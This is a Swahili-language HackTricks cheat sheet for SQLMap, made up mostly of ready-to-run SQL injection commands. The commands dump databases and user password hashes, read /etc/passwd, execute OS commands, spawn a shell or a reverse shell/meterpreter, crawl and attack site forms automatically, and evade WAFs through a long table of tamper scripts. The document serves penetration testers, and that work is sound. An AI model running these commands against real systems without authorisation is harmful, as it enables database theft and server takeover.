hacktricks/pentesting-web/sql-injection/sqlmap/README.md

# SQLMap - Mwongozo wa Haraka

<details>

<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>

Njia nyingine za kusaidia HackTricks:

* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.

</details>

<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>

**Usanidi wa haraka unaopatikana mara moja kwa tathmini ya hatari na upenyezaji**. Tekeleza pentest kamili kutoka mahali popote na zana na vipengele zaidi ya 20 ambavyo vinakwenda kutoka uchunguzi hadi ripoti. Hatuchukui nafasi ya wadukuzi - tunatengeneza zana za desturi, moduli za ugunduzi na uchimbaji ili kuwapa muda wa kuchimba kwa kina, kufungua makompyuta, na kufurahi.

{% embed url="https://pentest-tools.com/" %}

## Vigezo vya Msingi kwa SQLmap

### Jenariki
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
```
### Pata Taarifa

#### Ndani
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
```
#### Data ya DB
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
## Mahali pa Uingizaji

### Kutoka kwa Kukamata Burp/ZAP

Kukamata ombi na kuunda faili ya req.txt
```bash
sqlmap -r req.txt --current-user
```
### Kuingiza Ombi la GET
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
### Kuingiza Ombi la POST
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
### Uingizaji katika Vichwa vya Habari na njia nyingine za HTTP
```bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'
```
### Onyesha string wakati injection inafanikiwa
```bash
--string="string_showed_when_TRUE"
```
### Eval

**Sqlmap** inaruhusu matumizi ya `-e` au `--eval` kusindika kila mzigo kabla ya kutuma na python oneliner fulani. Hii inafanya iwe rahisi na haraka kusindika kwa njia za desturi mzigo kabla ya kutuma. Katika mfano ufuatao **kikao cha kuki cha flask** **kinasainiwa na flask na siri inayojulikana kabla ya kutuma**:
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
### Kifuniko
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
### Soma Faili
```bash
--file-read=/etc/passwd
```
### Kutambaa tovuti kwa kutumia SQLmap na kiotomatiki kutekeleza shambulio
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
### Kuingiza ya Pili
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
[**Soma chapisho hili**](second-order-injection-sqlmap.md)**kuhusu jinsi ya kutekeleza sindano za pili za kawaida na ngumu na sqlmap.**

## Kubinafsisha Sindano

### Weka kisitiri
```bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "
```
### Kiambishi
```bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "
```
### Kusaidia kupata uingizaji wa boolean
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
### Kuharibu

Kumbuka kwamba **unaweza kuunda kiharibu chako mwenyewe kwa kutumia python** na ni rahisi sana. Unaweza kupata mfano wa kiharibu katika [ukurasa wa Kuingiza Mara ya Pili hapa](second-order-injection-sqlmap.md).
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper                       | Maelezo                                                                                                                             |
| ---------------------------- | ------------------------------------------------------------------------------------------------------------------------------------ |
| apostrophemask.py            | Badilisha herufi ya apostrophe na mbadala wake wa UTF-8 kamili                                                                      |
| apostrophenullencode.py      | Badilisha herufi ya apostrophe na mbadala wake haramu wa mara mbili wa unicode                                                        |
| appendnullbyte.py            | Ongeza herufi ya NULL iliyofungwa mwishoni mwa mzigo                                                                               |
| base64encode.py              | Base64 herufi zote katika mzigo uliopewa                                                                                           |
| between.py                   | Badilisha mwendeshaji mkubwa ('>') na 'SI KATI YA 0 NA #'                                                                          |
| bluecoat.py                  | Badilisha herufi ya nafasi baada ya taarifa ya SQL na herufi sahihi tupu ya random. Kisha badilisha herufi = na mwendeshaji KAMA |
| chardoubleencode.py          | Double url-encode herufi zote katika mzigo uliopewa (bila kusindika tayari imekodishwa)                                             |
| commalesslimit.py            | Badilisha visa kama 'KIKOMBO M, N' na 'KIKOMBO N OFFSET M'                                                                         |
| commalessmid.py              | Badilisha visa kama 'MID(A, B, C)' na 'MID(A KUTOKA B KWA C)'                                                                      |
| concat2concatws.py           | Badilisha visa kama 'CONCAT(A, B)' na 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'                                                        |
| charencode.py                | Url-encode herufi zote katika mzigo uliopewa (bila kusindika tayari imekodishwa)                                                    |
| charunicodeencode.py         | Unicode-url-encode herufi zisizokodishwa katika mzigo uliopewa (bila kusindika tayari imekodishwa). "%u0022"                       |
| charunicodeescape.py         | Unicode-url-encode herufi zisizokodishwa katika mzigo uliopewa (bila kusindika tayari imekodishwa). "\u0022"                       |
| equaltolike.py               | Badilisha visa vyote vya mwendeshaji sawa ('=') na mwendeshaji 'KAMA'                                                              |
| escapequotes.py              | Kukataa kushuka kwa herufi (' na ")                                                                                                 |
| greatest.py                  | Badilisha mwendeshaji mkubwa ('>') na mbadala wa 'KUBWA'                                                                           |
| halfversionedmorekeywords.py | Ongeza maoni ya MySQL yenye toleo mbele ya kila neno muhimu                                                                        |
| ifnull2ifisnull.py           | Badilisha visa kama 'IFNULL(A, B)' na 'IF(ISNULL(A), B, A)'                                                                        |
| modsecurityversioned.py      | Zungusha swali kamili na maoni yenye toleo                                                                                        |
| modsecurityzeroversioned.py  | Zungusha swali kamili na maoni yenye toleo sifuri                                                                                 |
| multiplespaces.py            | Ongeza nafasi nyingi karibu na maneno muhimu ya SQL                                                                               |
| nonrecursivereplacement.py   | Badilisha maneno muhimu ya SQL yaliyopangwa mapema na uwakilishi unaofaa kwa kubadilishwa (k.m. .badilisha("CHAGUA", ""))         |
| percentage.py                | Ongeza alama ya asilimia ('%') mbele ya kila herufi                                                                               |
| overlongutf8.py              | Geuza herufi zote katika mzigo uliopewa (bila kusindika tayari imekodishwa)                                                        |
| randomcase.py                | Badilisha kila herufi ya neno muhimu na thamani ya kesi ya random                                                                  |
| randomcomments.py            | Ongeza maoni ya random kwa maneno muhimu ya SQL                                                                                   |
| securesphere.py              | Ongeza mzigo maalum ulioandaliwa                                                                                                   |
| sp\_password.py              | Ongeza 'sp\_password' mwishoni mwa mzigo kwa kuficha moja kwa moja kutoka kwenye magogo ya DBMS                                    |
| space2comment.py             | Badilisha herufi ya nafasi (' ') na maoni                                                                                          |
| space2dash.py                | Badilisha herufi ya nafasi (' ') na maoni ya mstari ('--') ikifuatiwa na herufi ya random na mstari mpya ('\n')                   |
| space2hash.py                | Badilisha herufi ya nafasi (' ') na herufi ya pauni ('#') ikifuatiwa na herufi ya random na mstari mpya ('\n')                     |
| space2morehash.py            | Badilisha herufi ya nafasi (' ') na herufi ya pauni ('#') ikifuatiwa na herufi ya random na mstari mpya ('\n')                     |
| space2mssqlblank.py          | Badilisha herufi ya nafasi (' ') na herufi tupu ya random kutoka kwa seti sahihi ya herufi mbadala                                  |
| space2mssqlhash.py           | Badilisha herufi ya nafasi (' ') na herufi ya pauni ('#') ikifuatiwa na mstari mpya ('\n')                                          |
| space2mysqlblank.py          | Badilisha herufi ya nafasi (' ') na herufi tupu ya random kutoka kwa seti sahihi ya herufi mbadala                                  |
| space2mysqldash.py           | Badilisha herufi ya nafasi (' ') na maoni ya mstari ('--') ikifuatiwa na mstari mpya ('\n')                                        |
| space2plus.py                | Badilisha herufi ya nafasi (' ') na plus ('+')                                                                                     |
| space2randomblank.py         | Badilisha herufi ya nafasi (' ') na herufi tupu ya random kutoka kwa seti sahihi ya herufi mbadala                                  |
| symboliclogical.py           | Badilisha waendeshaji wa mantiki AND na OR na mbadala zao wa ishara (&& na                                                         |
| unionalltounion.py           | Badilisha UNION ALL SELECT na UNION SELECT                                                                                        |
| unmagicquotes.py             | Badilisha herufi ya nukuu (') na combo ya multi-byte %bf%27 pamoja na maoni ya jumla mwishoni (ili kufanya kazi)                 |
| uppercase.py                 | Badilisha kila herufi ya neno muhimu na thamani ya kesi ya juu 'WEKA'                                                              |
| varnish.py                   | Ongeza kichwa cha HTTP 'X-originating-IP'                                                                                          |
| versionedkeywords.py         | Zungusha kila neno muhimu lisilo la kazi na maoni ya MySQL yenye toleo                                                             |
| versionedmorekeywords.py     | Zungusha kila neno muhimu na maoni ya MySQL yenye toleo                                                                           |
| xforwardedfor.py             | Ongeza kichwa cha HTTP bandia 'X-Forwarded-For'                                                                                   |

<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>

**Usanidi wa papo hapo wa upimaji wa udhaifu & uchunguzi wa kuingilia**. Tekeleza pentest kamili kutoka mahali popote na zana na vipengele zaidi ya 20 ambavyo vinakwenda kutoka kwa uchunguzi hadi ripoti. Hatuchukui nafasi ya wapimaji wa pentest - tunatengeneza zana za desturi, ugunduzi & moduli za kutumia ili kuwarudishia muda wa kuchimba kwa kina, kuvunja makompyuta, na kufurahi.

{% embed url="https://pentest-tools.com/" %}

<details>

<summary><strong>Jifunze kuhusu kuingilia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Njia nyingine za kusaidia HackTricks:

* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJISAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuingilia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>